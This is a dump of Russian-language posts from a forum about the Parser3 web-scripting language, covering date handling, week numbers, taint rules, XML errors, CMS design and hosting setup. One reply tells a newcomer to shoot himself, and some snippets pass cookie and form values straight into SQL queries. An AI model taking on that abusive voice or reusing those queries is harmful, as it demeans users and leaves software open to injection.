Вопрос: Почему при нажатитт на кнопку <input type=\"submit\" name=\"post\" value=\"Отправить\" onclick=\"go()\">\
 фрейм messages не перезагружается.\
\
\
[i]Заренее благодарю за помощ[/i]"
"21932","Сергей, если бы вы рассказали, как реализовано в вашем форуме именно проверк \"онлайности\", то было бы очень полезно, думаю даже всем :)\
\
P.S. Форум отличный, взял себе на заметку кое-какие концептуальные решения."
"21934","1. самом начале страницы у каждого зарег. пользователя обновляется поле lastvisit в базе данных.\
\
[code]UPDATE users SET lastvisit = NOW() WHERE id = $cookie:userid[/code]\
\
2. затем модуль online сравнивает даты и достаёт из базы тех, у кого lastvisit в пределах пяти последних минут.\
\
[code]$ldate[^date::create(^date::now[]-5/1440)]\
$result[^table::sql{\
SELECT id, login FROM users WHERE lastvisit > '^ldate.sql-string[]'\
}[/code]"
"21938","Конечно выкладывай. Польза и люди код прилижут, кома нуна.\
И обратно выложат. Сам приложу руку."
"21939","В моём веблоге:\
\
http://yatsena.livejournal.com/43772.html"
"21941","Пока он что-то нифига не ищет.\
\
ЗЫ: Пробовал на вашем сайте."
"21942","Ищет. Там поиск через MATCH AGAINST (можешь изменить на LIKE).\
\
попробуй поискать что-то более осмысленное, а не по одному короткому слову."
"21943","Не нашел метод checkLogged."
"21944","column not found\
\
1\
\
w:/home/localhost/www/forum/utils.p(38)\
\
[b]В чем проблема с таблицей?[/b]\
\
[code]\
@getDate[]\
$date[^date::now[]]\
$result[^getdate[^date.sql-string[];yes;yes]]\
\
@getdate[mysql;full;with_time][d;dt;tm]\
###########################################################\
# ^mysql2date[2002-06-29 13:35:00] возвращает строку 29.06.2002\
# ^mysql2date[2002-06-29 13:35:00;yes] возвращает строку 29 июня 2002\
# ^mysql2date[2002-06-29 13:35:00;;yes] возвращает строку 29.06.2002 13:35\
# ^mysql2date[2002-06-29 13:35:00;yes;yes] возвращает строку 29 июня 2002 13:35\
# вместо \"yes\" можно использовать любую строку - проверяется просто def/undef\
\
[b]$month[^table::create{\
num	name	name_r\
1	январь	января\
2	февраль	февраля\
3	март	марта\
4	апрель	апреля\
5	май	мая\
6	июнь	июня\
7	июль	июля\
8	август	августа\
9	сентябрь	сентября\
10	октябрь	октября\
11	ноябрь	ноября\
12	декабрь	декабря\
}][/b]\
\
^if(def $mysql){\
$dt[^mysql.lsplit[ ]]\
$dt[^dt.piece.lsplit[-]]\
$dt[^dt.flip[]]\
^if(def $full){\
^if(^month.locate[num;^dt.1.int[]]){\
$d[^if(^dt.2.int[]){^dt.2.int[] }$month.name_r ^dt.0.format[%04d]]\
}{\
$d[^if(^dt.0.int[]){^dt.0.format[%04d]}]\
}\
}{\
$d[^if(^dt.2.int[]){^dt.2.int[]-}^if(^dt.1.int[]){^dt.1.format[%02d]-}^if(^dt.0.int[]){^dt.0.format[%04d]}]\
}\
^if(def $with_time){\
$tm[^mysql.lsplit[ ]]\
^tm.offset[set](1)\
$tm[^tm.piece.lsplit[:]]\
$tm[^tm.flip[]]\
$result[${d}г. $tm.0:$tm.1]\
}{\
$result[$d]\
}\
}{\
$result[]\
}\
[/code]"
"21946","Мда. он там не нужен.\
\
наверно немножко разбираться-то в программировании нужно да?\
\
всё что нужно тем есть."
"21947","Да я знаю. Без него все прекрасно работает.\
\
Без раборки он бы у меня вообще не заработал."
"21949","Все равно :(\
\
[code]\
$month[^table::create{num	name	name_r\
1	январь	января\
2	февраль	февраля\
3	март	марта\
4	апрель	апреля\
5	май	мая\
6	июнь	июня\
7	июль	июля\
8	август	августа\
9	сентябрь	сентября\
10	октябрь	октября\
11	ноябрь	ноября\
12	декабрь	декабря\
}]\
[/code]"
"21951","Зачем разрезается адрес электронной почты и до и после знака @ ставится пробел?"
"21952","Есть index.html\
В нем есть такое:\
[code]\
^use[/forum/forum.htm]\
^use[/forum/utils.p]\
[/code]\
\
Есть forum.htm\
И там это вызывается так: [code]^getDate[], ^getdate[$dmin;1],\
^getdate[$dmax;1], ^getdate[$msg.dateadd;yes;yes],\
^getdate[$uinfo.lastvisit;1;1], ^getdate[$uinfo.datereg;1;1][/code]"
"21953","А есть, какая-нибудь функция, которая работает с временным промежутком?  \
Например: если в течение 10 секунд с одного и  того же ip поступили сообщения выполнять какой-нибудь код!"
"21954","Делаешь таблицу со столбцами\
time ip\
\
При обращении проверяешь для ip время и обновляешь (записывешь), и при определйнных условиях выполняешь код на какой фантазии хватит ;)"
"21955","Круто! =) спасибо =)"
"21957","спасибо"
"21959","в форуме уже сообщался."
"21960","вы же сами предложили бинарники под sparc, я согласился или я чего-то неправильно понял? Еще раз извините."
"21961","при этом не уверены, подойдут ли они вам."
"21962","Если юзер нечаянно или отчаянно ввел очень много букв без пробелов. Типа:\
!!!!!!!!!!!!!!!!!!!!!!!?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????.\
Экран же будет растягиваться.\
\
Я так понимаю, что такое надо отлавливать), или?"
"21964","Напишите ваше мнение, не знаю, как вернее поступить.\
\
1. Как сделать админ-интерфейс: с постоянным дизайном (как в Mambo), или в общем шаблоне страниц (как в PostNuke)? Тут можно сказать, что для той же секретарши важно тыкать по знакомым кнопкам вне зависимости от оформления (темы), либо нужно сразу видеть изменения в дизайне из админки.\
\
2. Нужна ли туева хуча JavaScript для своевременных сообщений множественного выбора (чекбоксы) и обработки форм? Пример - Mambo Open Source: красиво, удобно, но впечатляет объем этого ЖалкогоСкрипта. Как-то не очень охота мучится. Может в следующих обновлениях?\
\
3. Лучше использовать короткие имена параметров строки запроса (как в LDU) или полные и понятные? В LDU типа: ?m=pages, а понятнее ?module=pages. Ваше мнение?\
\
Это, конечно, косметика, но немаловажная."
"21965","1. У пользователей этой CMS дизайнером секретарша работает? http://www.computerra.ru/offline/1997/190/450/\
3. [i]Мне[/i] непонятно значение ни того, ни другого."
"21966","Правда я всегда для подобных манипуляций с датами прибегал к вычисляемым полям  (COMPUTED BY), а не к view. \
Но это как говорится дело вкуса."
"21967","Если бы секретарша была и дизайнером, то вопроса бы не было.\
Секретарша привыкла добавлять новости и тыкать по кнопкам, похожим на кнопки MS office. Тут сменяют дизайн, вместо привычных кнопок закорючки, расположены совсем по-другому, а что бы быстро выполнить знакомую операцию, нужно подергать того, кто сменял дизайн. Вот и вопрос: должен ли дизайн максимально удобной CMS влиять на административный интерфейс?\
\
А с 3 пунктом я уже решил."
"21968","Проблнма в следующем:\
$now[^date::now[]]\
^if(^eval($now.hour)[%.0f]<=6){ # night\
<body bgcolor=\"#FAEBD7\">\
}{\
<body bgcolor=\"#FACCCC\">\
} - выполняется корректно, но как только к if добавляю второе условие \
^if(^eval($now.hour)[%.0f]>=0 && ^eval($now.hour)[%.0f]<=6){ # night\
- ошибка в логе парсера\
\
auto.p(40:2): 'if' native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present) [parser.runtime]\
\
Подскажите, пожалуйста, начинающему, что не так? ;-)"
"21969","[code]\
$now[^date::now[]]\
^if(^eval($now.hour)[%.0f]>=0 && ^eval($now.hour)[%.0f]<=6){ # night\
<body bgcolor=\"#FAEBD7\">\
}{\
<body bgcolor=\"#FACCCC\">\
}\
[/code]\
Никаких ошибок, показывает розовый день!"
"21970","выдает сообщение \
\
Bad Request\
\
Your browser sent a request that this server could not understand.\
\
Apache/2.0.47 (Win32) Server at localhost Port 80"
"21972","Да, если это поможет, версия парсера -   parser3_1_0_redhat73_cgi_xml.tar.gz (24.07.2003 602,9 КБ)\
CGI скрипт с поддержкой XML \
Apache:\
Server Version: Apache/1.3.27 (Unix) PHP-CGI/0.1b rus/PL30.16\
API Version: 19990320:13\
Run Mode: standalone\
\
Нужно еще инфо?"
"21973","Приношу извинения, все OK, вопрос снят ;-)"
"21974","MySQL настроил, запросы прописал... А дальше застрял...\
\
(void) not a method or junction, can not call it\
docStart\
\
Наверно подобных ошибок дальше полно возникнит, как правильно подготовить площадку для установки? что должно быть в auto.p?\
Помогите, очень хочу у себя установить этот форум, уж больно понравился :)\
\
Зарание спасибо ОГРОМНОЕ! :)"
"21975","Вобщем дело автора, мучать людей или нет, но подскжу ключевое слово - USE"
"21976","Для себя не так давно выбрал подходящий вариант, навеяный мыслью одного из сослуживцев.\
Делаем элементы управления [ТЕКСТОВЫМИ ССЫЛКАМИ ПО РУССКИ].\
\
Мысль 1:\
Иконки без подписей в большинстве случаев будут вызывать вопросы, кривотолки, хотя и бывают исключения.\
Мысль 2:\
Текстовые ссылки всегда понятны и отражают свой смысл. Нарисуйте иконку \"редактировать\" и попросите пятерых случайных человек объяснить на первый взгляд назначение вашей иконки.\
Мысль 3:\
Взгляните на свой CMS. Вы можете сделать его ПРОЩЕ?"
"21977","1. Найдите файл templates.htm и из него перенесите все в auto.p.\
2. Или подключите еще и templates.htm.\
[code]^use[/templates.htm][/code]"
"21978","Снова брать версию 308?"
"21980","Куда отправлять пользователя после успешного/неуспешного выполнения действия?\
К примеру, процедура регистрации, после которой у пользователя появляются дополнительные сервисы. \
Выдать сообщение о успешной регистрации и рефрешнуть его куда-нить на главную страницу, на страницу с сервисами, либо оставить как есть(форму с данными)?\
\
Другими словами куда дальше вести пользователя?"
"21981","Позволю себе пару слов вставить вокруг да около:\
\
1)Если  ваша CMS – это система создания сайтов (а не только редактирования контента) – то есть смысл сделать так, чтоб админская часть сайта тоже генерилась и строилась (и соответственно управлялась ТАК как и все другие сайты построенные(и работающие) на этой CMS). Ту мы и получаем самое интересное :-) Эдакая рекурсия: пишешь сейчас по тем правилам, которые ты сейчас пишешь :-) Ну это так, к слову..\
\
2) Если хотим сделать что-то удобное (юзабильное и эффективное) – то от JS не скрыться. А то до обновления следующего можно не дожить… \
\
Как говориться, до настоящего завтра нельзя дождаться, т к  завтрашнее сегодня = сегодняшнее завтра. \
\
2)Mod Rewrite вам  в помощь! Благо господин Егоров в первом томе избранных статей все что нужно про него написал!\
\
Это все конечно шутки, мы ведь нифига (thanks god!) не авторитетная публика :-)"
"21982","В чём может быть дело?\
пишу: <a href=\"/?text=^taint[uri][Москва]>\
парсер выдаёт всё как есть. Писал ^taint[uri][/?text=Москва]. не помогает\
\
Искал в форуме - не нашёл. подскажите пожалуйста, как быть"
"21984","Доброе утро.\
\
Пробывал подключать все *.p, не работает.\
Пробывал подключать все *.p *.htm*, тоже не работает :(\
Выдаёт одно и тоже\
\
(void) not a method or junction, can not call it\
docStart\
F:/home/forum/forum.html(41)\
\
Может у меня парсер старый? :) 3.0b"
"21985","С радостью сообщая, что к примерам\
добавился еще один: [url=\"http://www.parser.ru/examples/int2str/\"]Пишем число прописью[/url].\
По всем вопросам, с замечаниями и пожеланиями все жалающие\
могут обращаться ко мне.\
\
Спасибо!"
"21986","У меня, например, получает возможность пользоваться чатом, и форумом становится пользоваться удобнее."
"21987","или найдите того, кто умеет это делать."
"21988","если не секрет, зачем такой бубнообразный код?\
зачем все эти eval и >=0?\
\
разве час бывает дробным?\
разве бывает отрицательным?"
"21990","как именно вы проверяете?\
пустой файл, в нём только это, и нигде никаких postprocess?"
"21992","для начала поставь 3.07, на котором я делал. Потом уже всё налаживай."
"21993","В моем варианте ЦМС эконка снабжается русской подписью.\
В настройках интерфейса есть возможность отключить русскую подпись и оставить одну эконку. Это если пользователь моей ЦМС привык уже к интерфейсу и ему достаточно посмотреть на эконку, чтобы понять, что она делает. А текстовая подпись - ее еще прочитать надо. Она нужна на 100% только на начальной стадии работы с программой."
"21994","Куда бы ты хотел, чтобы отправили тебя?\
\
:))"
"21995","почему не удоляет \
где ошибка\
@main[]\
^connect[$connect_string]{$ank[^table::sql{select * from user}]}\
\
^if($ank){^ank.menu{\
<form method=\"POST\">          \
<p><input type=checkbox name=\"stoimo\" value=\"$ank.sto\">$ank.naz  $ank.sto \
\
руб.</p> \
}}\
<p><input type=submit value=\"Удалить\"></p> \
</form> \
\
$hobby[$form:tables.stoimo] \
^if($hobby){ \
\
Вы купили на сумму:<br> \
\
    ^hobby.menu{^connect[$connect_string]{^void:sql{delete  from 'user' where \
\
'name'='$ank.sto' limit 1}}}\
}{ \
\
}}{нечего}"
"21997","Ну обновил парсер.\
Опять всё подключил.\
Теперь вылазит:\
\
(void) not a method or junction, can not call it\
checkLogged\
\
Порылся, не нашел где оно вообще устанавливается..."
"22000","а разве это влияет?"
"22001","1. а можно узнать, почему так происходит?\
2. можно ли использовать ^taint[uri] вместе  с последующим постпроцессом?\
(я так понимаю вся проблема заключается в том, что а постпроцессе в конце выводим ^taint[as-is][$buffer] - верно ли это?)\
\
спасибо"
"22003","в третьей итерации выясняется, что это не совсем верно :) Принцип сборки страницы - да, а вот генерация дерева - нет. Ежели фронтенд сайта удобнее в БД хранить (и управляит деревом и контентом в интерфейсе вида \"A\", то саму админку (CMS) - в БД храить неудобно оказывается. Потому как она состоит из модулей, которые (за редким исключением) повторно используются и одновременно на нескольких сайтах к тому же. Для каждого сайта добавлять в базу одинаковые записи - незачем, имхо. И при изменении структуры стандартного модуля админки - придется по всем сайтам менять куски. Так что для админки нужен интефейс конфигурации дерева вида \"Б\" (прошелся по списку/каталогу модулей, загрузил их описания, кешировал результат). Отделение абстракции от реализации в полный рост :))"
"22004","Если авторизация происходит внутри конкретного сервиса - видимо стоит перегрузить страницу, изменив статус юзера и соответственно вид страницы, который от этого статуса зависит. Если авторизация на сайте только при входе - думается, что юзер авторизуется для получения доступа к каким-то данным ? Так и отправлять непосредственно к этим данным. У меня при авторизации проверяется атрибут target - для разных групп/сервисов разные страницы перенаправления и страница по умолчанию, если авторизация не по запросу конкретного модуля."
"22005","1. потому, что не читана [url=\"/docs/lang/opuntainttaint.htm\"]документация[/url] и [url=\"/examples/tainting/\"]пример[/url] про taint/untaint\
\
2. если вы не понимаете что именно вы делаете и как это работает - то это неправильно, т.к. [b]все данные[/b] делаются у вас чистыми, и если у вас встретится код вида: <input type=\"text\" name=\"a\" value=\"$form:a\" /> - то этот код с вашим taint в постпрооцесе будет сломан.\
\
P.S. и чем не угодила оптимизация по умолчанию? нет, будем экономить ещё пару байт и наживать себе кучу проблем."
"22006","Если авторизация происходит внутри конкретного сервиса - видимо стоит перегрузить страницу, изменив статус юзера и соответственно вид страницы, который от этого статуса зависит. Если авторизация на сайте только при входе - думается, что юзер авторизуется для получения доступа к каким-то данным ? Так и отправлять непосредственно к этим данным. У меня при авторизации проверяется атрибут target - для разных групп/сервисов разные страницы перенаправления и страница по умолчанию, если авторизация не по запросу конкретного модуля.\
А при неуспешной авторизации - на спец. страницу с диагностикой ситуации и формочкой \"напомнить пароль\"."
"22007","1. всё понял. спасибо. немного разобрался\
\
насчёт ПС - какая такая по умолчанию? я читал, что парсер сам оптимизирует код, но мне кажется, иногда этого недостаточно\
у меня задача - вывести на страницу порядка 800 строчек из базы (оюязательно на одну страницу). Так как размещаю данные я в таблице - получается примерно 800*7 ячеек с разным количеством текста и ссылками. Если оптимизировать специальным оптимизатором, а не парсеровским, код сжимается почти в 3 раза."
"22008","если написать (полагаем, что $таблица большая):\
[code]\
^taint[as-is][\
  ^таблица.menu{\
    <td>$таблица.столбец</td>\
  }\
]\
[/code]\
то оптимизации не будет вообще, если написать\
[code]\
^таблица.menu{\
  <td>$таблица.столбец</td>\
}\
[/code]\
\
то парсер очень даже не плохо соптимизирует код (останется по одному witespace-у).\
\
так что в 3 раза - это вы похоже загнули.\
\
в любом случае, скорее всего такие не все страницы, и праильнее написать метод который будет оптимизировать вывод и вызвать его в определенном месте, чем делать это для всех страниц и нести потери в виде полного ручного отключения механизма тайтинга."
"22009","Увы, не нашел стандартных средств, выдающих номер недели, к которой относится заданная дата.\
\
Написал, разумеется, собственный метод, но хотелось бы иметь номер недели, как стандартное поле объекта класса date - $date.weeknumber, например.\
\
Метод может кому-нибудь пригодиться: \
\
[code]\
@weekNumber[d]\
	$c[^date:calendar[eng]($d.year;$d.month)]\
	^if(^c.locate[$d.weekday;$d.day]){\
		$result[$c.week]\
	}\
[/code]"
"22010","КАК реализовать событие не на нажатие кнопки\
а на нажатие ссылки\
<form>\
<input type=\"text\" name=\"\"></br>\
<input type=\"submit\"value=\"Действие\">\
</form>\
Мне надо гне кнопку нажатаь а ссылку\
ч тоб потом \
можно было  делать запросы и всё такое...\
??\
Спосибо заранее"
"22011","добавлено в todo."
"22012","Комментариев у меня больше чем вычислений,\
но, думаю, мой вариант проще :)\
[code]\
@wn[d][fd;wd]\
# $fd - первый день года\
	$fd[^date::create($d.year;1;1)]\
# $sd - дата конца первой недели. нумерация с 1\
	^if($fd.weekday == 0){ $sd(1) }{ $sd(8 - $fd.weekday) }\
# Находим k, такое что \
# $d.yearday + 1 = $sd + 1 + 7*k + m, где 0 <= m < 7\
# В левой части у нас текущий день (начиная с 1)\
# В правой части мы от первого дня второй недели отступаем ровное\
# количество недель и еще меньше семи дней. Сколько недель отступили\
# показывает искомая величина k\
# нетрудно видеть, что \
# k = ( $d.yearday - $sd ) \\ 7\
# Число недель равно k+2. Действительно, первую неделю мы пропустили\
# потом k недель отступили и уже идет (k+1) + 1 неделя\
	^if($d.yearday < $sd){\
# это тот редкий случай, когда наша формула не работает :)\
		$result(1)\
	}{\
		$result(($d.yearday - $sd)\\7 + 2)\
	}\
[/code]\
Кстати, ваш вариант не работает для первого января, например."
"22013","разобрался"
"22014","Да, действительно не работает, потому что не учел leading zero в календаре. \
\
Работает вот такой:\
[code]\
@weekNumber[d]\
	$c[^date:calendar[eng]($d.year;$d.month)]\
	^if(^c.locate[$d.weekday;^d.day.format[%.2d]]){\
		$result[$c.week]\
	}\
[/code]\
\
Чтобы понять, какой вариант правильнее, надо rusage делать."
"22016","Где <i>GetAwayFromHereAsSoonAsPossibleYouMoron</i> JavaScript-функция.\
\
P.S. 1. Этот форум - НЕ про JavaScript.\
Пойдите и купите книжку по JS, найдите в ней главу \"обработка событий\"\
2. Если нет денег на книжку или лень читать, застрелитесь."
"22017","Выполните, плиз:\
\
[code]\
$d[^date::create(2003;12;31)]\
^wn[$d]<br>\
[code]\
\
И получите, что 31 декабря 2003 года принадлежит к 53 неделе, что противоречит, как минимум, здравой логике. Как максимум, ISO 8601."
"22018","1. Ясно, что админка необходима для всех одна - простая и привычная.\
\
2. Простота - залог успеха, блин. Так с самого начала и задумывалось.\
\
3. Придется помучиться с ЯваСкриптом. Без него неудобно.\
\
4. Ссылки с самого начала стараюсь делать короткими и четкими на русском языке. Надо подумать насчет включения/выключения иконок/надписей. Вообще, долой килобайты пикселей, даешь русские буквы!\
\
5. Появилась совсем уж глупая и затертая идея - одна админка подключается к нескольким сайтам. Но это уж для моего уровня слишком."
"22019","Нарыл вот сегодня такое http://www.nitf.org/ - это An XML Vocabulary by News Publishers, for News Publishers. Если будете делать с использованием XML, идеи по поводу схемы XML можно брать оттуда, тем более что почти все сайты имеют что-то вроде новостей."
"22020","А какой недели должно принадлежать 31 декабря 2003?\
На моем настольном календаре - 53-я.\
На всякий случай, я посчитал - действительно 53-я :)\
Или нужно с 0 начинать?"
"22021","Смотрим http://www.cl.cam.ac.uk/%7Emgk25/iso-time.html\
там черным по белому написано\
Theorem: Possible ISO week numbers are in the range 01 to 53. A year always has a week 52. (There is one historic exception: the year in which the Gregorian calendar was introduced had less than 365 days and less than 52 weeks.)\
\
В чем же моя ошибка?!"
"22022","Я не разобрался до конца в ситуации, а потому ошибися.\
\
Приношу свои извинения, Виктор."
"22023","Возможно я немного вас задел,\
резко написав про ошибку. Не хотел\
вас обидеть!\
\
Оба варианта работают.\
По производительности, думаю,\
они не сильно отличаются.\
Желающие могут выбирать по вкусу:)"
"22024","Три-четыре, все расслабились, и ни на кого не обижаются :)\
\
Желающие будут с нетерпением ждать реализации в виде поля объекта класса date."
"22025","[code]\
@navigation[] \
$sections[^table::load[/sections.cfg]] \
^sections.menu{\
	^if($sections.uri eq $request:uri){ \
		$sections.name \
	}{ \
		<a href=\"$sections.uri\">$sections.name</a> \
	} \
}\
[/code]\
\
Как написать условие так, чтобы ссылка $sections.uri ставилась на $sections.name если $request:uri больше либо равно $sections.uri.\
\
Я думал надо будет ^if($sections.uri le $request:uri)"
"22027","Может у кого-нибудь есть Парсер без [url=\"http://www.parser.ru/forum/?id=21959\"]этого[/url] бага?"
"22028","[code]^if(in \"/news/\"){ \
   Мы в разделе новостей \
}{ \
   <a href=\"/news/\">Новости</a> \
}\
[/code]"
"22034","... да не правильно пробовал. Теперь попробовал правильно и все нормуль."
"22035","Или мне еще стоит открыть глаза?"
"22036","http://www.egoroff.spb.ru/portfolio/download/\
\
кстати, один из авторитетнейших Парсер-related ресурсов, непонятно почему его до сих пор нету в ваших закладках..."
"22038","Разъехалась таблица форума, ячейка с основными тредами сейчас размером около 55%. \
\
Возможно сие вопиющее безобразие появилось в связи с длинной темой слева(из тех, что под топом писателей)."
"22039","Про здравую логику я, конечно, вчера погорячился, а вот про ISO - нет :)\
\
Потому что:\
\
[quote]\
Week 01 of a year is per definition the first week that has the Thursday in this year, which is equivalent to the week that contains the fourth day of January.\
\
http://www.cl.cam.ac.uk/~mgk25/iso-time.html\
[/quote]\
\
Следовательно, 31 декабря 2003 года относится уже к 2004W01, а не к 2003W53."
"22040","чтобы люди могли найти решение поиском по форуму…"
"22041","Пробую поставить скрипт парсера на net.ru все делаю как положено по инструкции - ставлю скрипт, конф файл туда же, делаю в корне .htaccess. Скачал _test.html для проверки. А сервер выдает 500 ошибку. В чем может быть дело."
"22044","Какие файлы необходимо скачать и установить на VALUEHOST при установке парсера3\
\
скачал для Win32 - не работает.\
позвонил в службу поддержки - говорят что у них Юникс стоит.\
\
Я так понимаю нужно чтото другое (не для Win 32)\
И еще.\
Скачивая файлы - получаем parser3.exe, а во многих сообщениях идет речь о parser3.cgi. Где его брать?"
"22045","Если ктонибудь делал это ранее можно исходники глянуть?"
"22047","Имеется в виду операции, которые требуют длительного времени исполнения исполнять в отдельном программном потоке, к примеру на этом форуме наблюдается тормоз при отправке сообщения. Есть подозрения на процедуру отправки почты(а чем дальше, тем на большее число пользователей). \
Теперь понятно, почему время работы скрипта неограничено ;)"
"22048","[color=\"red\"]Все, сам разобрался...[/color]"
"22049","^connect[$connect_string]{\
		^case[answers]{\
\
а вообще для красоты можно было бы один connect написать, а в нем уже switch"
"22050","[i]parse error, expecting `$'[/i]\
\
[code]\
^use[poll.p]\
\
$poll[^poll::create[poll_info;poll_answers]]\
\
@run[]\
## создаем и запускаем новый опрос\
^poll.run[\
	$.question[...]\
	$.status[active]\
	$.answers[\
		$.1[\
			$.answer[...]\
			$.vote_count[45]\
		]\
		$.2[$.answer[...]]\
		$.3[$.answer[...]]\
		$.4[\
			$.answer[...]\
			$.vote_count[...]\
		]\
	]\
	$.type[radio]\
	$.default[1]\
	$.button_text[...]\
	]\
\
@add[]\
## вызываем форму добавления нового опроса\
^poll.add[\
	$.request[$form:tables]\
	$.skin[add_skin.cfg]\
	]\
\
@show[]\
## выводим последний активный опрос на страницу\
^poll.show[\
	$.poll_id[last_active]\
	$.skin[show_skin.xslt]\
	$.request[$form:tables]\
	$.path_param[answer_id]\
	$.restrict[\
		$.cookie[poll]\
		$.expires[1]\
		]\
	]\
\
@update[]\
## обновляем данные опроса под номером 1\
^poll.update[\
	$.poll_id[1]\
	$.question[...]\
	$.answers[\
		$.delete_1[3]\
		$.new_1[\
			$.answer[...]\
			$.vote_count[200]\
		]\
	]\
	$.default[3]\
	]\
[/code]"
"22051","ИБезГоризонтальнойПрокрутки!\
\
Это замечено давно. Единственно, что можно улчшить - сделать фиксированную ширину левой колонки. Но лично мне кажется, что это мелкое неудобство, не более."
"22052","пользуйтесь поиском по форуму"
"22054","А куда девать те 50 и больше знаков без пробелов и минусов, которые некоторые кренделя пихают в заголовок сообщения?"
"22055","Можно делать проверку на количество символов в слове"
"22056","хост \
на нем сайты написаные на парсере\
можно ли сделать так, чтоб письма шли с разных smtp-серверов\
\
что надо написать в \
$MAIL[\
]\
\
можно ли написать адрес smtp-сервера в корневом auto.p каждого сайта\
????"
"22057","Unhandled Exception (Debug)\
Entity: line 9: error: xmlParseStartTag: invalid element name\
			< id=\"93\" vote_count=\"45\">\
    ^\
Entity: line 11: error: Ending tag error for: s line 7\
			</>\
     ^\
Entity: line 13: error: xmlParseStartTag: invalid element name\
			< id=\"94\" vote_count=\"0\">\
    ^\
Entity: line 15: error: Ending tag error for: poll line 5\
			</>\
     ^\
Entity: line 17: error: xmlParseStartTag: invalid element name\
			< id=\"95\" vote_count=\"0\">\
    ^\
Entity: line 19: error: Ending tag error for: document line 2\
			</>\
     ^\
Entity: line 21: error: Extra content at the end of the document\
			< id=\"96\" vote_count=\"200\">\
   ^\
\
[b]create[/b]\
\
w:/home/localhost/www/poll/poll.p(341)\
exception.type=xml \
\
[code]\
@transform[xslt_file;xml_code][xslt_file;xml_code;document;transformedDoc]\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"$response:charset\"?> \
<document>\
	^untaint{$xml_code}\
</document>}] \
$transformedDoc[^document.transform[$xslt_file]]\
^transformedDoc.string[\
		$.method[html]\
		]\
[/code]"
"22058","он подвесил всего хостера :-0 Чтобы это могло быть? Внутренняя ошибка?\
\
версия 3.007 CGI под FreeBSD 4.4"
"22059","синхронный/асинхронный.\
\
потоки сейчас внедрять не планируется."
"22061","пробел между < и id (именем тега)\
\
читаем стандарт:\
[code]\
STag    ::=    '<' Name (S Attribute)* S? '>'\
[/code]\
видим, что пробел там недопустим.\
\
делаем вывод, что читать стандарт полезно."
"22062","сколько он использовал памяти/CPU?"
"22063","если не секрет, зачем в вашем коде ^untaint?"
"22064","Я сижу дома в Иркутске, а сайт на серваке у хостера в Ленинграде."
"22065","ваш админ замечает проблему.\
запускает top: видит там, что висит parser.\
делает copy/paste со своего экрана, прислает вам. вы сюда.\
\
если о проблеме не сообщить внятно, помочь почти невозможно."
"22066","Постараюсь узнать, а то не дай ... ещё раз такое будет.\
\
\"top\" это что?"
"22070","parser already configured\
\
conf\
\
C:/Inetpub/wwwroot/ovuplan.work/auto.p(22)\
\
exception.type=parser.runtime"
"22071","Этот пробел сидит вот здесь:\
[code]\
<$action id=\"$a_id\" vote_count=\"$answer.vote_count\">\
	$answer.answer\
</$action>\
[/code]\
\
Как нужно написать? Куда девать $action?"
"22073","Я не пойму как сделать так что б \
нажимал ссылку заголовка и он открывал эту новость.\
Только в этой же страници\
Кто знает подскажите как?\
За ранее благодарен.\
@novost_r[]\
$dnow[^date::now[]]  \
^connect[$connect_string]{$news[^table::sql{select date,zag,text  from news where \
\
date=' ${dnow.year}-${dnow.month}-${dnow.day}'}]\
^if($news){ \
      ^news.menu{ \
\
 <a href=\"$news.zag\">$news.zag</a> <br> \
\
}{ \
     \
   } \
}"
"22074","Здравствуйте.\
\
Не кажется ли следующая вещь ослаблением безопасности:\
Например, апач работает под wwwuser/wwwgroup, файлами на хостиге владеют пользователи виртаульных хостов vuser1/vgroup1 ... vuserN/vgroupN соответственно.\
В данном случае, даже неправильно написаный скрипт не сильно угрожает безопасноти (касается только записи на диск, естественно).\
Ставим парсер и SUEXEC.\
В этом случае мы ОБЯЗАНЫ запускать под пользователем vuserm/vgroupm и таким образом получаем что существует возможность записи на диск злоумышленником на каждом отдельном хосте под соответствующим пользователем.\
\
Спасибо заранее."
"22075","[code]\
@novost_r[]\
$now[^date::now[]]\
^connect[$connect_string]{ \
$news[^table::sql{select \
	date, zag, text \
from \
	news \
where \
	date='${now.year}-${now.month}-${now.day}' \
	}] \
^if($news){ \
	^news.menu{ \
		<a href=\"$news.zag\">$news.zag</a> \
	}[<br>] \
	}{За указанный период новостей не найдено.} \
} \
[/code]"
"22076","не создав при этом дыры. [способ, конечно, есть]\
в случае suexec всё проще и vuser1 куда точнее не навредит vuser2.\
\
это важнее."
"22077","Т.е., насколько я понял:\
\
1) Признаете, что в первом варианте безопасность выше.\
2) При первом варианте сложно дать скрипту доступ на запись не нарушив грубо безопасность (с другой стороны, зачем это делать в принципе, за исключением редких случаев).\
3) Утверждаете что SUEXEC + Parser обеспечивают большую безопасноть:\
а) SUEXEC обеспечивает перекрестную безопасность в рамках виртуальных хостов\
б) парсер настолько надежен что недопустит несанкционированной записи злоумышленником.\
\
Спасибо!"
"22078","Так как я же так же предложил. В первый раз у меня не работает."
"22079","1. да, но ввиду (2) часто плохая настройка портит всё.\
2. не очень сложно. просто часто об этом забывают.\
3. да\
а) да\
б) запись: parser тут не при чём: если скрипт пишет в разрешённое место, то пишет. если в скрипте ошибка, возможны проблемы. но в рамках одного vhost.\
б2) чтение: safe-mode parser не даёт читать чужое, даже если OS даёт."
"22081","http://www.parser.ru/forum/?id=22073\
ПРОШУ ОТВЕТИТЬ!"
"22083","Для тех, кто в танке - первое предупреждение."
"22084","http://www.parser.ru/docs/lang/lesson4.htm\
\
Можно еще и [url=\"http://www.parser.ru/docs/lang/lesson3.htm\"]третий урок[/url]."
"22085","Можно ли встовлять в документы генерируемые Парсером пхп скрипты... например командой <!--#include virtual=\"/news/index.php?${QUERY_STRING}\"-->    \
Если можно то как?\
Заранее благодарен за помощь."
"22088","[code]<${action}id=\"$a_id\" vote_count=\"$answer.vote_count\">\
	$answer.answer\
</${action}>[/code]"
"22089","Unhandled Exception (Debug)\
Entity: line 9: error: error parsing attribute name\
			<id=\"757\" vote_count=\"45\">\
      ^\
Entity: line 9: error: attributes construct error\
			<id=\"757\" vote_count=\"45\">\
      ^\
Entity: line 9: error: xmlParseStartTag: problem parsing attributes\
			<id=\"757\" vote_count=\"45\">\
      ^\
Entity: line 9: error: Couldn't find end of Start Tag id line 9\
			<id=\"757\" vote_count=\"45\">\
      ^\
Entity: line 11: error: Ending tag error for: s line 7\
			</>\
     ^\
Entity: line 13: error: error parsing attribute name\
			<id=\"758\" vote_count=\"0\">\
      ^\
